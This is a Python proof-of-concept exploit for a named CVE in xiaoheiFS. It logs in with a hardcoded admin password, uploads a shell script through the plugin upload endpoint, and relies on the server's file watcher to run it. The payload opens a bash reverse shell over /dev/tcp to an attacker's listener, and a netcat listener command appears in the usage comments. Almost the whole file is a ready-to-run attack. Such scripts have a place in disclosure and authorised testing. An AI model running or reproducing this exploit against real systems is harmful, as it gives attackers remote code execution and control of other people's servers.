#!/usr/bin/env python3
"""
CVE-2026-28674 PoC - xiaoheiFS Plugin Upload RCE
xiaoheiFS versions <= 0.3.15 allow remote code execution via AdminPaymentPluginUpload endpoint.
The endpoint uses hardcoded password 'qweasd123456' and StartWatcher auto-executes uploaded files.
"""
import requests
import argparse
import time
import sys
def exploit(target_url, password, lhost, lport):
"""
Exploit the plugin upload vulnerability to achieve RCE
"""
upload_url = f"{target_url}/admin/plugin/upload"
# Create malicious plugin file with reverse shell payload
# The StartWatcher will execute this file after 5 seconds
reverse_shell = f'''#!/bin/bash
bash -i >& /dev/tcp/{lhost}/{lport} 0>&1
'''
headers = {
"Authorization": password,
}
files = {
"file": ("shell.sh", reverse_shell.encode(), "application/x-sh")
}
print(f"[*] Target: {target_url}")
print(f"[*] Using hardcoded password: {password}")
print(f"[*] Uploading malicious plugin...")
try:
response = requests.post(upload_url, headers=headers, files=files, timeout=30)
print(f"[*] Response Status: {response.status_code}")
if response.status_code == 200:
print("[+] Plugin uploaded successfully!")
print("[*] Waiting for StartWatcher to execute the payload (5 seconds)...")
time.sleep(6)
print("[!] Check your listener for incoming reverse shell!")
else:
print(f"[-] Upload failed with status: {response.status_code}")
print(f"[-] Response: {response.text[:200]}")
except requests.exceptions.RequestException as e:
print(f"[-] Error: {e}")
sys.exit(1)
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="CVE-2026-28674 PoC - xiaoheiFS RCE")
parser.add_argument("-t", "--target", required=True, help="Target URL (e.g., http://192.168.1.100:8080)")
parser.add_argument("-p", "--password", default="qweasd123456", help="Hardcoded authentication password")
parser.add_argument("-lh", "--lhost", required=True, help="Attacker listener host IP")
parser.add_argument("-lp", "--lport", required=True, type=int, help="Attacker listener port")
args = parser.parse_args()
exploit(args.target, args.password, args.lhost, args.lport)
# Usage:
# Attacker side: nc -lvnp 4444
# Run PoC: python3 cve-2026-28674.py -t http://target:8080 -lh 192.168.1.100 -lp 4444